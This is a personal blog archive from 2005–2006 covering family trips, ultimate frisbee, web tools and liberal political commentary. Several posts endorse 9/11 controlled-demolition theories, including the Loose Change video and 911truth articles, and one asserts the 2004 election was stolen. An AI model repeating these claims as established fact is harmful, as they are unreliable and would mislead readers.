I got an email to view a video on mtvu.com, but thier crappy player wouldn’t work on windows XP pro 64… so, I went looking for other videos by them: For the Actor – Mates of State – Google Video Mates of State — Ha Ha – Google VideoMates of State – Goods (Its All In Your Head) – Google Video That’s all the MOS I could find… though there was a funny “dancing to” video here and a video commentary: { Mates Of State “Fraud In The 80’s” with director commentary by Arno Salters }.

MIT Hack – fire truck

Fri, 15 Sep 2006 18:14:32 +0000

IHTFP Hack Gallery:Fire Truck on the Great Dome: A buddy of mine who went to MIT sent me this… He said the students have to dodge building security to get to the top of the dome… and the got the fire truck up there by disassembling it, carrying up the parts, and reassembling it on top. Amazing! A lot more effort than most people I know would put into something…

fantastic paper cutouts

Thu, 14 Sep 2006 14:48:48 +0000

PaperCut- Nghệ thuật độc đáo – ~o0Giải trí Việt Nam0o~:

on the phones, for democracy

Tue, 12 Sep 2006 20:43:44 +0000

I am going to volunteer for 7pm Friday… anyone else interested in putting their time where their mouth is… or their mouth on the phone, where their politics are? ———- Forwarded message ———- From: ******* Date: Sep 12, 2006 3:11 PM Subject: Call for Change Campaign Columbus To: alan blount Hello, We spoke on phone today and you expressed interest in helping with the Call for Change campaign to take back Congress.

CUDA Fall League 2006 starts

Mon, 11 Sep 2006 00:44:19 +0000

CUDA Fall League 2006 started today… it was a lot of fun! Less serious than summer league, but a little more serious than a regular pickup game… we played light on numbers as a lot of players were out of town for tournaments. If you didn’t make it, but want to come out… you should!

Labor Day Weekend Plans

Sat, 02 Sep 2006 13:13:13 +0000

Going to Lexington to visit Molly, Randy, Simon, and Gena… then going to Louisville. Got a friends dinner going on Sunday night, and family stuff Monday and Tuesday, then back to Colubmus. Leaving now.

News: Engineered cells beat cancer in human test

Sat, 02 Sep 2006 13:11:40 +0000

Engineered cells beat cancer in human test | Chicago Tribune: In a small study of patients with terminal skin cancer, Maryland scientists have demonstrated for the first time that genetically engineered immune cells can kill off large tumors. The research, conducted by a team at the National Cancer Institute in Bethesda, remains highly experimental, and it worked on just two of the 17 patients in the study. But excited government scientists said it is the first time gene therapy has vanquished an advanced cancer.

Letter to the editor: Republicans need to step out from behind their false mask of security

Tue, 15 Aug 2006 18:26:02 +0000

Five years after 9/11, the Bush administration has failed to keep us safe. In fact, we are less safe. The war in Iraq has diverted attention from protecting America from terrorism. In fact, this past week 9/11 commissioners said Iraq is distracting from security at home. The war in Iraq has inflamed the whole Middle East and is helping Al Qaeda attract new recruits. Osama Bin Laden is still on the loose.

freedom toaster – a great idea

Tue, 15 Aug 2006 14:04:40 +0000

Again, I’m amazed at the generosity of human beings. Perhaps silly, perhaps underused (no idea), and obviously narrow in scope… none the less, I’m still impressed that people have volunteered to make the following happen: Freedom Toaster Freedom Toasters are conveniently located, self-contained, computer-based, ‘Bring ‘n Burn’ facilities. Like vending machines, preloaded to dispense confectionery, Freedom Toasters are preloaded to dispense free digital products, including software, photography, music and literature.

Nuclear weapons, still.

Mon, 07 Aug 2006 20:29:05 +0000

I’m not nearly as anti-nuclear as most of my socially conceious friends… at least as it relates to nuclear power and research. That said, I’m seriously worried about the “bigger stick” theory as it escelates into… well… the upper ranges of weaponry we’ve had for a few decades. Though we’ve been sitting on (or making more) weapons and not really attacking with them (just testing them)… they exist to be used and can be within minutes from right now.

vacation in houston

Wed, 02 Aug 2006 15:14:14 +0000

Anita, our step sister Maddie (14), and I went to Houston, from July 20 through August 1st. We drove. [map] First, we drove to and camped at the Hot Springs National Park, during the hottest part of a heat wave. Our A/C could occasionally not keep up, it was so hot… so when we ended up at the park, we went wading (which turned into swimming for some) in a creek that ran through the park.

give me storage or give me… well… more storage

Wed, 12 Jul 2006 19:32:00 +0000

Looking at the following article: Indian-born scientist developing coated DVD’s that can make hard disks obsolete ..: I find my self thinking that hard drives wouldn’t be obsolete, but OS installations might be. Already there are many LiveCD installations of Linux and Windows, which don’t require a Hard Drive at all, but simply boot to the CD/DVD… With more sophisitication and personalization options (there are already setups where you can store personalizations on a USB flash drive or something) I think the idea of a static state OS would be very appealing.

so, uh… yeah… i admire Matthias Wandel

Wed, 05 Jul 2006 16:17:04 +0000

I don’t often randomly surf for people… but this guy [Matthias Wandel] wrote some software I was using (for the first time, about 5-6 years ago) [jhead] and I randomly browsed over to his personal site and thought he was really (really) cool… Neat projects and inventions, done both logically and creatively (a combination I admire and strive for, though which I tend to exhibit to a lessor degree). he came up in conversation again today and so I found his site again and found this page (among others) which just makes me go all warm and fuzzy:

the one that got away

Thu, 29 Jun 2006 14:25:16 +0000

I had written a decent post about freedom of speech and that it is mostly a facade, but even that facade is wonderful… but the post got lost in the ether (more accuratly, my computer rebooted for unknown reasons). Anyway, here are the news articles prompting the previous post: Secret government or a free press?{#r-1_0} “flag desecration is an unacceptable form of political protest” — U.S. SEN. BILL FRIST » Senate Rejects Flag Desecration Amendment And I ended up reading a chain of wikipedia articles which went something like:

2004 Election Stolen? (yep)

Tue, 13 Jun 2006 20:06:23 +0000

Was the 2004 Election Stolen? Republicans prevented more than 350,000 voters in Ohio from casting ballots or having their votes counted — enough to have put John Kerry in the White House. BY ROBERT F. KENNEDY JR. This is a great article, full of well cited and reasoned points… pointing towards a conclusion which may well get you branded as a conspiracy theorist… but still seems the most likely explanation.

Meditation relieves stress… anyone surprised?

Tue, 13 Jun 2006 18:32:02 +0000

According to the article: Transcendental meditation good for stress: study it goes a bit further than just getting relaxed… Practicing transcendental medicine not only mellows the mind but may also calm the body’s damaging responses to stress that leads to heart disease and diabetes, researchers said on Monday. … Meditation has been previously shown to lower blood pressure, but researchers at Cedars-Sinai Medical Center, Los Angeles, found it also decreased heart rate variability and insulin sensitivity.

Moonlight Kayaking, then family

Mon, 12 Jun 2006 18:32:03 +0000

Friday, Anita and I went to Bardstown, Ky to go “Moonlight Kyaking” with Theresa and some of her Rugby Teammates/friends [link]. Before we got there we swung by the Jim Beam plant (thinking it was where Myra did a bunch of cool carpentry work, but it wasn’t) and then the Bernheim Forrest. Bernheim has always been a great place to get back to nature a bit, but it’s gotten a lot nicer… the visitor’s center is amazing, and all the displays and trails we saw, were flawless.

alan is 10,000 days old today

Sun, 04 Jun 2006 16:22:35 +0000

I have really slacked on the the posting recently… I’ve had a good amount to talk about, but haven’t had the motivation to write anything. (at least none that coincides with available time) I’ve played a lot of [I have really slacked on the the posting recently… I’ve had a good amount to talk about, but haven’t had the motivation to write anything. (at least none that coincides with available time)

Post Houston visit

Sat, 20 May 2006 19:47:34 +0000

I have put off writing something in response to my visit to Houston, Tx. Partially due to laziness, and perhaps partially to allow more time for settling of experience… mostly laziness, I suspect. I was there from May 10th – 17th, 2006. About half of the reason I went was simply to have a vacation. It was a chaotic time at work for the prior 2 months and after working many 70 hour weeks in a row… it was time to do something else.

on: 911 Loose Change 2nd Edition with extra footage

Fri, 05 May 2006 21:27:16 +0000

Text of an email I spammed to just about everyone I have an address for: ===INTRO============== I’m sorry to have sent what could be considered propaganda to you. I believe it’s well put together and raises very important questions, furthermore validating those questions and invalidating many official responses with evidence. Because of this, and because it’s so easy to send around (just a link to a video) I have decided to send it to just about everyone in my address book.

pandora > radio (except for some NPR)

Mon, 03 Apr 2006 23:31:41 +0000

If you didn’t already know… Pandora.com. Yes, that’s right. What? You want to know what I’m talking about? Simply, it’s a brilliant option for listen to music. You go to that site, create an ID (only requires an email address) and you get a personalized (personalizable) streaming radio station determined from a seed artist or song. How does it know what music to select? It’s made by the people who did the music gennome project, so they have littereally mapped and classified music (fairly well, it seems) and allow you to guide your station(s) accordingly… bring in variety or isolate to a single vein; the choice is yours… I like that they have more music than I do (at least they have some music I don’t) and so I’m hearing stuff I like and know mixed with compatible music I don’t know.

What I’m reading today (political) + What I did today

Sat, 01 Apr 2006 20:51:23 +0000

What I’m reading today (political): Sometimes I do sit down and do an hour or 2 of reading and browsing. I have collected the stories that I would recommend to anyone else interested in our messed up government, situation in the current war (criminal occupation), and world in general. Guilty plea in US bribery probe : An ex-aide to a top Republican lawmaker has pleaded guilty to conspiracy in a corruption case that has rattled the US political establishment.

Sci-Fi Film Fest, April 22

Wed, 29 Mar 2006 05:53:19 +0000

Sci-Fi Film Fest in Columbus from noon Saturday, April 22 until noon Sunday, April 23 @ the Drexel. Yup – I’m going… you should come… you should bring your friends… geeks – unite, support the geeks who are putting on this event, and eventually – take over the world (the same thing we do every night, pinky).

aaronland.info/nytimes

Tue, 28 Mar 2006 06:30:33 +0000

Interesting link : http://aaronland.info/nytimes/ Read the blurb at the top and then click on the first link [http://aaronland.info/nytimes/related/]. The top image is a map where the top NY Times stories are plotted… but below that is a thought-map, of sorts… a link-chart of buzzwords. kinda neat… to see that almost everything links to “violence” and that the “united church of christ” links only to “churches”, “television”, and “advertising”. just random / interesting.

flickr is really… really cool…

Mon, 13 Mar 2006 02:57:28 +0000

I have setup a Flickr account/profile and played with it some… it’s totally awesome. I’ve heard of it for years, but haven’t needed anything like it, since I have gallery installed on a server on which I have nigh’-unlimited storage space… Anyway – that’s my excuse for being slow to jump on this bandwagon… I’m here now. The only question is deciding if I want to make the switch and pay for an unlimited account… then move all the photos I have in gallery into flickr… and worry about when their server goes down or looses all of my photos (not that such is likely, but less under my control).

two worth-reading polictical links

Fri, 10 Mar 2006 20:29:08 +0000

A good laugh (followed by a frustrated sigh) : Guardian Unlimited | Guardian daily comment | God: I’ve lost faith in Blair And a much more sober / disconcerting / conspiracy-theory’ish (but no less true for that) link: www.scholarsfor911truth.org

lord of war – response

Sun, 26 Feb 2006 02:18:48 +0000

I just got done watching the movie: Lord of War (2005) I think it was a good film, in the vane of “blow” and “traffic” but with a different angle and a semi-moral overtone. The best part, IMO, is the ending and the open and blatant fact that when it comes to weapons of any sort, the US not only has the most, but sells the most – seemingly to anyone else.

brutal christ[ians]

Sat, 25 Feb 2006 23:18:37 +0000

I just got done reading : The Brutal Christ of the Armageddonites – by Jon Basil Utley It’s a great overview of / perspective on the Christian “pro-end-of-the-world” movement which has begun (in this country) to not only become fairly popular, but to be largely represented in the government and the financial elite. This is, no doubt frightening… but again, it brings me back to one of my major complaints about most organized religion… arrogance.

pay to email – what a dumb idea

Thu, 23 Feb 2006 00:19:36 +0000

so – there’s some buzz going on (yes, I’m a few days behind) about AOL and Yahoo letting companies pay (them) to send spam… but disallowing spam otherwise… what? If you could dis-allow it, do so. If your plan is put into effect, that means more spam in the inbox. It makes no sense. (links below) AOL/Yahoo Email Tax to Stop Spam: Why It Won’t Work – Gizmodo Yahoo and AOL Announce Pay Per Spam Email Project | Threadwatch.

whew… that was a relief

Wed, 22 Feb 2006 04:37:30 +0000

The Would You Have Been a Nazi Test Achtung! You are 23% brainwashworthy, 18% antitolerant, and 28% blindly patriotic Congratulations! You are not susceptible to brainwashing, your values and cares extend beyond the borders of your own country, and your Blind Patriotism does not reach unhealthy levels. If you had been German in the 30s, you would’ve left the country. One bad scenario — as I hypothetically project you back in time — is that you just wouldn’t have cared one way or the other about Nazism.

alan + mohawk = all is right in the world

Thu, 16 Feb 2006 07:08:34 +0000

Yes, once again, Alan is in posession of a mohawk… life is good – life is good. A mohawk is a wonderful thing for several reasons. Some of them are: I have hair on the top of my head still, might as well enjoy it. It improves my ultimate frisbee game (seriously). It reminds me and anyone else that I’m not really all the way old, yet. It helps instantly filter people, like John’s pants, for any who know.

a new bed (life is good)

Mon, 13 Feb 2006 05:48:22 +0000

We have had our bed now for over an week and it is fantastic. I actually found myself sleeping propped up on my elbows one morning – and it was comfortable. We got a Sealy : Reflexion : Venice Beach – a big latext foam bed. We bought it at us-matress.com, but we only had to buy the mattres (no box spring) so it ended up being a less than what you see as the cost.

People are freaking out on GDS

Fri, 10 Feb 2006 15:16:19 +0000

I’m seeing a lot of articles (and people at work are linking me to even more) warning people about the new Google Desktop Search; like: Google Copies Your Hard Drive – Government Smiles in Anticipation Google today announced a new “feature” of its Google Desktop software that greatly increases the risk to consumer privacy. If a consumer chooses to use it, the new “Search Across Computers” feature will store copies of the user’s Word documents, PDFs, spreadsheets and other text-based documents on Google’s own servers, to enable searching from any one of the user’s computers.

Louisvile Skyline – a new building on the horizon?

Thu, 09 Feb 2006 20:35:48 +0000

If anyone in the ‘ville hasn’t heard about the New Skyscraper for Louisville – check it out… It looks really cool (in my opinion) and would be a great thing to claim for the city… not to mention, it’d be very nice to have a modern art museum (in a building island, no less). Also – a new google desktop search looks good (as expected).

a good Bush commercial

Wed, 08 Feb 2006 15:38:53 +0000

If anyone is interested, go to https://political.moveon.org/donate/breakingthelaw.html to view the commercial spot (and the facts behind it) MoveOn is trying to get on the air. I’ve long said Bush is as bad or worse than Nixon – indeed, it looks like others are saying the same thing, better. And of course, if you wanted to play a similar game try waronterrortheboardgame.com.

Seduction Style: Au Natural

Wed, 01 Feb 2006 05:28:04 +0000

*Seduction Style Quiz results: Au Natural* You rank up there with your seduction skills, though you might not know it. That’s because you’re a natural at seduction. You don’t realize your power! The root of your natural seduction power: your innocence and optimism. You’re the type of person who happily plays around and creates a unique little world. Little do you know that your personal paradise is so appealing that it sucks people in.

Article: Revelations about the Twin Towers in the 9/11 Oral Histories

Sun, 29 Jan 2006 18:24:12 +0000

I was recently sent a link to the article Explosive Testimony: Revelations about the Twin Towers in the 9/11 Oral Histories, on the site 911truth.org. I think the article, though kind of long, deserves a read. I wasn’t there but i agree that something happened…. it is almost unbelievably incredible that both towers collapsed in such a seemingly controlled manner. If towers / buildings collapsed like that by design, building demolition companies wouldn’t have a job….

waiting for the bus

Wed, 25 Jan 2006 04:08:12 +0000

I’m in Louisville right now… there are a lot of people in the office for a flurry of meetings and it seemed appropriate for me to come as well. Our biggest meeting started at noon today, and ends at 3pm tomorrow. We stopped for dinner at ~6pm and I came back into the office to work on some stuff… got stuck reading email and working on a side project. Now I’m waiting on a bus to take me back to Theresa’s, where I’m staying….

Petition: The President Broke the Law

Fri, 20 Jan 2006 23:35:18 +0000

<MoveOn.org> petition: The President Broke the Law President Bush admitted to personally authorizing thousands of allegedly illegal wiretaps, and he doesn’t plan to stop. Circumventing the Constitution is serious business. This is a big moment. People from across the political spectrum are standing together to protect the rule of law and the principles that are core to our identity as Americans. Can you sign this petition to show Congress that Americans want a thorough investigation of the president’s secret wiretapping program?

birthday #27

Wed, 18 Jan 2006 03:58:45 +0000

It my (Alan’s) 27th birthday today. Thanks to all who have sent cards, emails, IMs, phone calls, etc to wish me a happy one. I’m rather surprised so many people have remembered. Also, special thanks to the “check givers”… all that money is going into savings to replenish the money that was withdrawn to pay for our new bed (soon to arrive). I’m surprised to see that so many people sent jokes (or at least comments) about how old I was getting.

Adware seek & find

Sun, 15 Jan 2006 05:22:00 +0000

I read the following blog post linked from slashdot. It is part of the blog for SiteAdvisor… a tool for testing for adware / spyware. Those of you who still run into problems with adware and spyware, you might want to try this app out… it couldn’t hurt (unless it was a really clever double-agent type scam to get you to install it. no – i don’t think it is….. yes, it might be.

Political links and quotes for today

Sat, 14 Jan 2006 21:23:20 +0000

Here is a great interview with Noam Chomsky entitled There Is No War On Terror. Some of my favorite quotes from it, follow: This is even sometimes discussed. You can find it in the strategic analysis literature. Take, say, the invasion of Iraq again. We’re told that they didn’t find weapons of mass destruction. Well, that’s not exactly correct. They did find weapons of mass destruction, namely, the ones that had been sent to Saddam by the United States, Britain, and others through the 1980s.

Impeach Bush… you hear about this yet?

Tue, 10 Jan 2006 23:55:16 +0000

I am excited to hear about the possible investigation for the impeachment of Bush (I’ve been calling for it for a while). Too bad it’s not something that I am hearing much about – you all? No? You’d think the investigation for presidential impeachment might be discussed on the evening news, eh? Kind of big news… it sure was when it was discussed as a possibility for Clinton. But not for Bush (yet).

DeLay taken down & other news

Mon, 09 Jan 2006 06:17:38 +0000

I just got done reading the article: [ Colleagues force DeLay to relinquish grip on leadership of House]1 on The Guardian. I have already heard about this on blackwednesday.org, but it’s a story that makes me smile. Probably not as pleased as Al Franken, or many of the other people who really know how bad DeLay is… I’ve only heard what others (including Al Franken) have told me… but it’s enough to make me fear and loath him.

real audio stream downloading

Mon, 09 Jan 2006 05:45:51 +0000

I have looked for this information before, but the planets have aligned and I was able to find what I was looking for. Here are complete instructions for how to download Real Audio streams and convert them to MP3 (or really, whatever) format: Windows Linux Note: there is actually much more useful information on those pages if you were interested. The tool for Windows is Flashget and for Linux, it’s simply mplayer.

my birthday present from you…

Sun, 08 Jan 2006 07:14:33 +0000

It will be my 27th birthday in on Jan 17th. That is not exciting, but I’m going to try to use it as a ploy to get you (yes – you, the person reading this right now) to give me a present. It wont take money, and really only say… 10 minutes of your time. Please (please) read the following article: Blair Criminalizes His Critics by John Pilger. So many people have put what I would like to be able to say, more succinctly and convincingly than I can… so read their work.

Alito is not neato

Fri, 06 Jan 2006 04:48:33 +0000

Over 750,000 people have signed on to a letter urging the Senate to reject Samuel Alito’s nomination to the Supreme Court. If you sign on, we’re that much closer to making it a full one million: Sign the letter, (I did). You can also use MoveOn.org to send a letter to your senator about Alito. Personally, I think the lifetime apointments of Supreme Court Justices is dangerous in it’s own right, but I can understand it to some extent… I just think it’s dangerous that the court can sway – and then be stuck in it’s sway for so long.

2005 Holiday trip – chapter 3 – Louisville

Tue, 03 Jan 2006 04:22:16 +0000

Before we went to Houston, Anita and I spent some time in Louisville. We were able to see some friends and a good amount of family. We missed out on the big family events, as we were in Houston then… but we still got to play some games and relax and eat and all the basic events of together-hood. I worked in the Louisville office, but because most people weren’t there, I was able to get more work done than I usually do when I go into the office… but still less than I can get done at home… weird, huh?

attempt at positive spin on mountaintop removal

Fri, 30 Dec 2005 19:39:37 +0000

Phil sent me a link to the article [Appalachian town mining for land] which is talking about the removal of mountains by a coal mining company as a positive thing… to some it may well be – but as coal mining companies are notorious for their environmental horrors, and as we are already starting to “run low” on mountains that have been created (tectonically) for thousands of years — perhaps people ought to think about keeping their mountains around as long as they can (which is basically until a mining company finds something they want in said mountain).

2005 Holiday trip – chapter 2 – Houston

Wed, 28 Dec 2005 03:09:50 +0000

I spent many full and well populated days in Houston. Anita and I spent nights at various family houses, ate some of the best food we had eaten all year, and most importantly – got to spend good time with our family together. Here are some of the highlights: Great quality time with family (can’t mention it enough – strange that just spending time is so important, so simple, and so rare) Got to meet Scott’s girlfriend, Ilah (ee-lah) Good but sad visits with my grandmother [Penny][1] (aka Grandma’ Penny) Games played : rummykub, canasta, hearts, pictionary, balderdash, ping pong (I won at ping-pong and sometime I won at canasta, but lost everything else) Food, food, and food (including some [mango salsa][2] I made, which everyone appeared to appreciate) Ikea blitz – a 1 hour run through ikea resulting in a total bill of less than $150 for Anita and myself (incredible for us consumer sheep) One of the important parts which gets a bit of a review is my visit with my grandmother “Penny”, who has [Alzheimer’s][3].

2005 Holiday trip – chapter 1 – to Houston

Wed, 21 Dec 2005 18:27:19 +0000

So, when flying to Houston, early on Monday the 19th of December I ran into a slight problem. I went through security without issue, and my laptop bag had to go through… and I overheard security people being called over, waited, and heard a couple of other security people being called over. About this time I get nervous and soon overhear something I would rather not have heard. Apparently, I had forgotten that I had put some gifts in my laptop bag, that I got for people at work in Japan… They were very unimpressive, unassuming, decoration-only, ummm, throwing stars.

gearing up to split

Tue, 13 Dec 2005 06:45:18 +0000

We are getting our stuff together to leave columbus for a while. We have house-sitters / cat-sitters for the majority of the time we are gone… and we are bringing Nova with us, to Louisville. We are also bringing Ginni’s queen sized mattress (strapped to the roof of the CRV with ratchet-straps and bungies). That will make for a slightly slower drive, but shouldn’t be too bad (I hope). In addition, it will be Anita, Alan, John, and Nova in the car with a few weeks worth of stuff for all.

Busy as (winter in) hell

Thu, 08 Dec 2005 20:23:56 +0000

The past week (starting at the end of last week actually) Anita and I have been insufferably busy. I’ve been working till midnight or later Sat-Wed… anita has, if anything, been working more… studying for finals and taking finals. Luckily, the fires at my work seem to be more under control and Anita is, as of today, done with her tests… She of course doesn’t know her results, but I’m sure she’s doing fine…

scam notice

Thu, 08 Dec 2005 20:18:02 +0000

I got a phone call today, supposedly from DomainRegistry.com. Unfortunately, though suspicious, I did provide my street address… I resisted, but he read it off to me, and I confirmed it… what are you gonna do? Also, I suppose he knows my phone number, since he called me on it. Then he gave me the 800 number 800-591-7398 (8005917398) as a number to find out more about what they are offering.

death penalty and prisons… we call ourselves civilized?

Fri, 02 Dec 2005 06:20:14 +0000

1000th “Death Penalty” murder since reinstating in 1976 Doesn’t it seem strange to be killing people for killing people? I am aware that there are people that are dangerous enough to never let back into the population, but it seems hypocritical to kill them… Aside from the people who are significant dangers to our society, prisons should generally be cleared out a lot. We are a nation built on and ruled by fear.

blog comment spam is the devil

Thu, 01 Dec 2005 03:26:15 +0000

Anyone else getting a flood of blog comment spam recently? WordPress is awesome enough to catch all of it as probably spam and put it into a moderation queue for me, but I still had 80+ comments to delete in the past week… and I have to be careful not to delete a non-spam comment… not a good situation. So I looked into plug-ins for WordPress and found a few, but the one I liked the most is called bad behavior.

Thanksgiving

Thu, 24 Nov 2005 21:56:49 +0000

Here is my requisite turkeyday post. Anita had to work her last day today, so we are in Columbus still. She plans on not working until this summer. I’ve been encouraging her to do this… though her ~10 hours of work a week doesn’t sound like much, since she does ~60 hours a week of school work – a few extra hours to relax would be welcome. We will be driving to Louisville tonight after anita is off work.

New template for za

Mon, 21 Nov 2005 07:44:17 +0000

So – the new template is up on zeroasterisk. Not only does it look different right now – this template is setup to be controlled by CSS, so I’ll be providing options on how to view the site. Until I offer those options (look in the top right hand corner of the page for them) you’ll have to make due with this one. Also, I’ve updated to gallery 2 and mediawiki… The wiki update means little to any users, but the gallery update may effect anyone who uses my gallery.

M$ Clusters – what a bad idea

Wed, 16 Nov 2005 16:27:14 +0000

So now M$ is releaseing a version meant to cluster computers, you know, like a beowulf cluster. This is one of the worst Ideas I could think of. Why would you use a flaky, high-overhead, and often to crash OS to run distrobuted processing? There is no good reason, in my opinion. If you are willing to dedicate multiple computers to be a “super-computer” – you should be willing to hire a linux geek to setup and run the thing for you… if you wanted to run windows, you don’t need a super-computer.

frappr – lets see who actually does this

Thu, 10 Nov 2005 06:41:00 +0000

There is a beta of a site that allows anyone to create a group, and people can add themselves / photos to it, and where they are at… it uses google maps API to plot the photos on a map… really neat stuff in my opinion… so anyone who wants to spend 2 minutes to see if they are even mildly impressed / interested / entertained… go to http://www.frappr.com/zeroasterisk and “add yourself”.

secrets are stupid, and so is the Kansas board of Education

Wed, 09 Nov 2005 08:00:42 +0000

After reading the article: CIA prisons leak ‘to be probed’, I was overcome one specific emotion: unease (fear)… The fact that there are secret prisons and nobody knows about them scares the hell out of me. Basically, if I was taken to prison for thinking our current government sucks (or for being too cynical or too naive), I would want people to know about it… and hopefully make a fuss… you know… maybe get to talk to a lawyer and not be tortured.

Columbus War Protest March on Sat Nov 5th

Fri, 04 Nov 2005 19:08:33 +0000

Anyone wanna come march to protest the war in iraq? I’ll be there, and so will phil… Memorial to be Held in Support of Troop Withdrawal from Iraq Columbus OH Saturday, November 5 The OSU student peace advocacy group AntiWar Columbus will be demonstrating in support of troop withdrawal from Iraq at the Gallery Hop in the Short North area from 8 PM 11 PM on Saturday November 5th. Students will assemble at the Gazebo in Goodale Park at 7:30 PM and march to the intersection of Buttles Ave.

PHP (good) news

Thu, 03 Nov 2005 17:43:13 +0000

My boss just sent me a link to the following article: PHP catching on at enterprises, vying with Java Not only is it cool my boss sent it to me, but the content of the article is great news for anyone who is a fan of PHP… (and anyone who doesn’t know if they are or not, I very much am… so if you can’t form your own opinion on the topic, you may borrow mine) As more and more businesses realize the power, flexibility, and simplicity of PHP – as it comes into the mainstream more and more – I get more chances to work with it, teach friends about it, get paid to build stuff with it… etc.

Jenifire went to Peru (who knew?)

Tue, 01 Nov 2005 17:33:37 +0000

So, in August, apparentally, Jeno went to Peru… It looks like she toured the countryside and hiked up mountains… went to the amazon rainforest, boated across pink-dolphin infested waters, and got friendly with sheep and mules alike. I want the full story… if i get it I will post it somewhere…. perhaps I can convince her to start a blog of her own…

brave new passports

Mon, 31 Oct 2005 05:52:31 +0000

A quick note about techno-passports which are to be common soon (required I believe)… they put an antenna in the passport, to transmit data, and a material on the cover to stop the antenna from transmitting all time… strange? yes. this is of importance to people like April who are always (or at least often) using their passports… I bet it’s a few years yet before anita or I have to think about it.

Hell House II

Sun, 30 Oct 2005 15:02:09 +0000

Pre-Halloween Party : Hell House II Well, as with pretty much all DJ Foursquare (and hushabye house) parties, this was a great event. Chill people, great crowd, good venue (effective at least), great music, etc… It also benifited from a great collection of costumes and a very moderate and (sorry for this review) disney-land-like bondage show… Honestly, I don’t think the crew was disney-land… I’m sure they had to weak-i-fy their setup/show for the audience invovled.

recent spoon photos

Mon, 24 Oct 2005 22:45:38 +0000

Spoon has posted some new (depending on when you last looked) photos… here are some of my favorites: dj spoon, weed airport, an attractive salad, and 40 oz of art. Now playing: [Tom Waits][5] – [Nighthawks at the Diner – Nighthawk Postcards][6] [5]: http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Tom Waits [6]: http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Nighthawks at the Diner - Nighthawk Postcards&artistTerm=Tom Waits

ultimate in the cold rain

Fri, 21 Oct 2005 07:01:44 +0000

I played ultimate frisbee today, one of the last evening games of the year. It’s been getting dark earlier every week and now we have to stop playing around 7:15… when you start at 6:00 of after, that’s really frustrating. What might have been frustrating was that it was cold and rainy today, starting to be really ugly right about the time we started playing… but it wasn’t frustrating at all.

google says : failure = bush, incompetent = bush…

Fri, 21 Oct 2005 03:41:14 +0000

One more quick note: I was doing the Google “feeling lucky” thing, where you enter a word like “failure” and it gives your it’s best result… Well, for the word “failure” it isn’t random, it’s… well… funny, appropriate, sad… Biography of President George W. Bush. Anyway, so I tried again, I entered “incompetent” and hit “I’m feeling lucky”… and I got The President as Incompetent Liar. I read this article, BTW, and it is very well done, I think.

for a good time… read banterist.com

Thu, 20 Oct 2005 06:29:33 +0000

Call me a content theif, but I just can’t think of anything better to post here than some recent posts from Brian Sack’s blog www.banterist.com. Shopping for God Brian’s old leather pants auction (news article) (auction) Backwards Swastika Brand Vegetarian Barbecue Sauce (my eyes are still watery from this one) and more… Now playing: Interpol – [Antics – Not Even Jail][7] [7]: http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Antics - Not Even Jail&artistTerm=Interpol

The World Can’t Wait – lets do something

Tue, 18 Oct 2005 08:20:41 +0000

The World Can’t Wait – a site promoting active options for ridding ourselves of the current blight named G. W. Bush.

mutant mice… yeah – really

Mon, 17 Oct 2005 00:54:12 +0000

One of the strangest things I’ve run across… ORNL Mutant Mouse Database. It is litterally a place to find out about and purchase mutant mice… seriously.

Sculpture appeals

Wed, 12 Oct 2005 02:34:59 +0000

I just heard from my good friend (and former employer) Dave Caudill and got up to speed on his recent newsletters. I’m glad to see he’s still making great art and getting it out in the world… It’s also nice to hear the human side of the story, about the places he visits, what he sees, and often what he eats… The most appealing of these recent travels, for me, is the Grounds for Sculpture in Hamilton, New Jersey (

Rediculously interesting reading at wikipedia (Nuclear Powerd, WMD, & current book)

Mon, 10 Oct 2005 06:30:28 +0000

Chernobyl Accident – Nuclear Reactor Explosion, 1986 April 26 Mohamed ElBaradei – IAEA Directory General, replacing Hans Blix Weapons of Mass Distraction – also see the top 10 from Connie Rice on The Tavis Smiley Show on NPR William Upski Wimsatt – The author of “Bomb the Suburbs”, which I’m currently reading (fantastic, if dated) Now playing: [Mates of State][10] – [Team Boo – Parachutes (Funeral Song)][11] [10]: http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mates of State [11]: http://phobos.

Jung tested and approved

Sun, 09 Oct 2005 03:43:02 +0000

I just took a Typology Test and ended up as ENFJ which broke down as the following: [17%] Extroverted [25%] Intuitive [12%] Feeling [67%] Judging You can read more about the ENFJ type by looking at the following descriptions… one by D.Keirsey and one by J. Butt. Update – Oct. 11 I found out that according to the Typology tests, the perfect match for ENFJ is ISFJ, and Anita is who got me to take the test… So, I had to find out what her type was… and of coruse, she’s ISFJ.

ApolloAlliance — renewable energy is good

Fri, 07 Oct 2005 03:59:06 +0000

I recently found out about what appears to be a great group called ApolloAlliance, which is setup in many states including Ohio and Kentucky. There’s a lot of good information there, including how to get invovled in local communities as well as how to become more energy efficient. (they’ve even got job listings) Since I’m on the topic, I want to recommend anyone interested in energy conservationism (or conservationism in general) in the Louisville Kentucky area to check out the BRKST wiki (breakset resources and knowledge for sustainable thought) run by Jason Smithson.

MediaWiki Semantic Goodness

Wed, 05 Oct 2005 21:18:30 +0000

I feel like a spectator admiring athletes reading things like the this blog post [Semantic Wikipedia - At last one of dreams is at the verge of coming true.], but an excited spectator, none the less. Wiki is already a fantastic tool for simple (or complex) content management, accessible to anyone within a few minutes… This proposed innovation would add the ability to add, inline, extra relationships which build a more complete (and interoperable) logical structure.

Web News of the day

Mon, 26 Sep 2005 15:01:44 +0000

Sporting Events cause a drop in ER visits Ok, this is kindof rediculous… Apparently, Americans put off their emergency room visits, or just don’t have as many problems, during major sporting events. I can understand being into sports, but that seems unreal. Helicopters Scour Louisiana Floodwaters (Rita Aftermath) People checking their hurricane-hit homes and towns returned with stories of flooding to the rooftops, coffins and refrigerators bobbing in the water, and stilts where their houses once stood.

za1 theme in development

Mon, 26 Sep 2005 06:42:41 +0000

I’ve been working on a comprehensive theme, currently called za1 (very exciting name, eh?). I will be mapping the components of my site into that theme (instead of hacking the themes of the components of my site to look kindof like each other). The themes are driven primarily by CSS, and done in such a way as to allow simple variations in how things should look… there will be an “options” selector on the top-right and it will allow you to easily choose theme options and it saves your options as a cookie (if you allow the cookie) or session variables if your don’t allow the cookies.

Hurricane Rita wasn’t too bad on Houston it seems

Sun, 25 Sep 2005 22:35:47 +0000

